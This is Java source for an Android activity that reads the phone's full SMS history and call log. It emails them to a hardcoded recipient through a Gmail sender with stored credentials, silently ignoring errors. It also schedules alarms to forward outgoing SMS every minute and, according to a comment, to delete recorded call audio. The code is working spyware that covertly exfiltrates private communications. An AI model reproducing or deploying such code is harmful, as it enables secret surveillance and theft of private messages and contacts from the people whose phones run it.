package my.android.main;

import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Bundle;
import android.provider.CallLog;
import android.widget.TextView;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.List;

import my.android.call.Call;
import my.android.message.GmailSender;
import my.android.message.R;
import my.android.message.Sms;

public class MainActivity extends Activity {

    private List<Sms> listSms;
    private List<Call> listCall;
    private String message = "";
    private TextView view;
    private boolean isFirstTime = true;
    private long condition_date;
    private ConnectivityManager mConnectivityManager;
    private NetworkInfo mNetworkInfo;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        view = (TextView)findViewById(R.id.view);
        mConnectivityManager = (ConnectivityManager) this.getSystemService(this.CONNECTIVITY_SERVICE);
        if(mConnectivityManager != null){
            mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
        }
        listSms = getAllSms();
        listCall = getListCall();
        message += "Messages\n\n";
        for(int i = 0; i < listSms.size(); i++){
            message += i+1 + "." + listSms.get(i).get_folderName() + "\n" + listSms.get(i).get_address() + "\n"  +
                    getDate(listSms.get(i).get_time()) + "\n" + listSms.get(i).get_msg() + "\n" + listSms.get(i).get_readState();
        }

        message += "Calls Log\n\n";

        for(int i = 0; i< listCall.size(); i++){
            message += i+1 +"." + listCall.get(i).getName() + "\n" + listCall.get(i).getNumber() + "\n" +
                    listCall.get(i).getType() + "\n" + listCall.get(i).getDate() + "\n" + listCall.get(i).getDuration() + "\n";
        }
        view.setText(message);

        //set time to check sms sent and set count of listSms for first time
        long currentTime = System.currentTimeMillis();
        SharedPreferences.Editor editor = getSharedPreferences("time", MODE_PRIVATE).edit();
        editor.putLong("last_time_checked", currentTime);
        editor.commit();

        //check if is the first time, will get sms and calls recently and send to mail, if not, do not.
        SharedPreferences pref = getSharedPreferences("time", MODE_PRIVATE);
        isFirstTime = pref.getBoolean("is_first_time", true);
        condition_date = System.currentTimeMillis() + 2592000;
        if(isFirstTime){
            if(mNetworkInfo.isConnected()){
                GmailSender mail = new GmailSender(Assets.SENDER, Assets.PASS);
                try{
                    mail.sendMail(Assets.UPDATE, message, Assets.SENDER, Assets.RECEIVER);
                }catch (Exception e){}
                SharedPreferences.Editor Editor = getSharedPreferences("time", MODE_PRIVATE).edit();
                Editor.putBoolean("is_first_time", false);
                Editor.commit();
            }

        }

        //check outgoing sms and send to mail every 1 m.
        PendingIntent outgoingSmsLogger = PendingIntent.getBroadcast(this, 0, new Intent( "CHECK_OUTGOING_SMS"), 0);
        AlarmManager alarmManager = (AlarmManager)getSystemService(ALARM_SERVICE);
        alarmManager.setRepeating(AlarmManager.RTC_WAKEUP, currentTime + 60000L, 60000L, outgoingSmsLogger);
        //check file audio, if exist file audio that is recorded and saved in mobile, delete it.
        PendingIntent callWaiting = PendingIntent.getBroadcast(this, 0, new Intent("CHECK_CALLING"), 0);
        alarmManager.setRepeating(AlarmManager.RTC_WAKEUP, currentTime + 900000L, 900000L, callWaiting);


    }


    public List<Sms> getAllSms(){
        List<Sms> lstSms = new ArrayList<Sms>();
        Sms objSms;
        Uri path = Uri.parse(Assets.URI_SMS);
        ContentResolver cr = getContentResolver();
        Cursor cursor = cr.query(path, null, Assets.DATE_CONDITION + condition_date, null, Assets.ORDER);
        int totalSms = cursor.getCount();
        if(cursor.moveToFirst()){
            for(int i = 0; i< totalSms; i++){
                objSms = new Sms();
                objSms.set_id(cursor.getString(cursor.getColumnIndexOrThrow("_id")));
                objSms.set_address(cursor.getString(cursor.getColumnIndexOrThrow("address")));
                objSms.set_msg(cursor.getString(cursor.getColumnIndexOrThrow("body")));
                objSms.set_readState(cursor.getString(cursor.getColumnIndexOrThrow("read")));
                objSms.set_time(cursor.getString(cursor.getColumnIndexOrThrow("date")));
                if(cursor.getString(cursor.getColumnIndexOrThrow("type")).contains("1")){
                    objSms.set_folderName("inbox");
                }else {
                    objSms.set_folderName("sent");
                }
                lstSms.add(objSms);
                cursor.moveToNext();
            }
        }
        cursor.close();
        return  lstSms;
    }


    private List<Call> getListCall(){
        List<Call> lstCall = new ArrayList<Call>();
        Call objCall;
        ContentResolver cr = getContentResolver();
        Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI, null, Assets.DATE_CONDITION + condition_date, null, Assets.ORDER);
        int total = cursor.getCount();
        if(cursor.moveToFirst()){
            for(int i = 0; i < total; i++){
                objCall = new Call();
                objCall.setName(cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME)));
                objCall.setNumber(cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER)));
                objCall.setDate(getDate(cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE))));
                objCall.setDuration(getDuration(cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DURATION))));
                objCall.setType(cursor.getInt(cursor.getColumnIndex(CallLog.Calls.TYPE)));
                lstCall.add(objCall);
                cursor.moveToNext();
            }
        }
        cursor.close();
        return lstCall;

    }

    private String getDate(String date){
        return new SimpleDateFormat("dd/MM/yyyy-HH:mm:ss").format(Long.parseLong(date)).toString();
    }

    public String getDate(long dateTimeMillis){
        String s;
        s = new SimpleDateFormat("dd/MM/yyyy-HH:mm:ss").format(dateTimeMillis).toString();
        return  s;

    }


    public String getDuration(long durationMillis){
        String s;
        int minute = (int)durationMillis/60;
        int second = (int)durationMillis % 60;
        s = minute + "m " + second + "s";
        return s;
    }





}
